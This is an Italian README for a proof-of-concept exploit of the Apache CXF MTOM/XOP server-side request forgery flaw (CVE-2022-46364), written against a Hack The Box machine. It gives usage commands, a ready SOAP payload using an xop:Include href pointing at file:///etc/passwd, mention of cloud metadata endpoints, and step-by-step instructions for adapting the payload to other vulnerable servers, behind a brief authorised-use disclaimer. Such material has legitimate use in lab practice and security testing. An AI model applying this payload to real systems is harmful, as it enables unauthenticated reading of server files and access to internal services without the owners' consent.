CVE-2022-46364 — Apache CXF MTOM/XOP SSRF (Lettura File)

Exploit proof-of-concept per CVE-2022-46364 — una vulnerabilità di server-side request forgery (SSRF) in Apache CXF nell'elaborazione delle richieste MTOM/XOP.

Riepilogo della vulnerabilità

CVE-2022-46364 riguarda le versioni di Apache CXF precedenti a 3.4.10 e 3.5.5. Quando MTOM (Message Transmission Optimization Mechanism) è abilitato su un servizio SOAP, l'unmarshaller di CXF valida in modo errato l'attributo href all'interno degli elementi <xop:Include>. Invece di limitare href agli URI cid: (come richiesto dalla specifica XOP del W3C), CXF risolve URI arbitrari — inclusi file://, http:// e https://.

Ciò consente a un attaccante non autenticato di:

• Leggere file locali arbitrari (file:///etc/passwd)
• Eseguire SSRF verso servizi interni (http://169.254.169.254/)
• Potenzialmente raggiungere endpoint di metadati cloud o API interne

Bersaglio

Questo PoC è stato scritto e testato contro la macchina Hack The Box:

Endpoint bersaglio: http://devarea.htb:8080/employeeservice

Tuttavia, piccole modifiche al payload XML in base al WSDL del target lo rendono adattabile all'ambiente di destinazione.

Utilizzo

Lettura di /etc/passwd (target predefinito)

L'URL predefinito è http://devarea.htb:8080/employeeservice.

python3 CVE-2022-46364.py --file /etc/passwd

URL target personalizzato

python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd

Modalità verbosa — mostra richiesta e risposta grezza

python3 CVE-2022-46364.py --file /etc/passwd --verbose

Adattamento ad altri target

Importante: Questo script è hardcoded per la struttura WSDL di HTB DevArea. Per usarlo contro un altro servizio Apache CXF vulnerabile, è necessario modificare il payload SOAP all'interno di build_payload() per adattarlo al contratto WSDL del target.

Passaggi per l'adattamento:

1. Recupera il WSDL dal target:

   root@kitploit:~

   curl http://target:8080/employeeservice?wsdl
   

2. Identifica i dettagli del servizio:

   • targetNamespace (es. http://devarea.htb/)
   • Nome dell'operazione (es. submitReport)
   • Struttura dei parametri (es. <arg0> con <content> annidato)

3. Modifica il payload in build_payload():

   • Aggiorna il namespace (xmlns:dev="...")
   • Aggiorna il nome dell'operazione (<dev:submitReport>)
   • Aggiorna il wrapper dei parametri (<arg0>)
   • Inserisci <xop:Include href="file://{filepath}"/> all'interno di un campo che il server elaborerà come allegato

Esempio di adattamento WSDL

Considerando questo frammento WSDL:

<wsdl:definitions targetNamespace="http://example.com/">
  <wsdl:operation name="uploadDocument">
    <wsdl:input message="tns:uploadDocument"/>
  </wsdl:operation>
</wsdl:definitions>

Il tuo payload dovrebbe diventare:

<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
  <soapenv:Body>
    <ex:uploadDocument>
      <document>
        <xop:Include href="file:///etc/passwd"/>
      </document>
    </ex:uploadDocument>
  </soapenv:Body>
</soapenv:Envelope>

Come funziona

1. Lo script costruisce una richiesta HTTP multipart/related con Content-Type: application/xop+xml.
2. All'interno del corpo SOAP viene inserito un elemento <xop:Include href="file:///etc/passwd"/>.
3. Il server CXF vulnerabile lo tratta come un riferimento ad allegato e risolve l'URI file://.
4. Il contenuto del file viene letto, codificato in base64 dal server e restituito all'interno dell'elemento SOAP <return>.
5. Lo script estrae la stringa base64 dopo Content: e la decodifica.

Riferimenti

Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Ottieni sempre il permesso esplicito prima di testare sistemi che non possiedi. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script.

Licenza

Licenza MIT — sentiti libero di usare, modificare e condividere con la giusta attribuzione.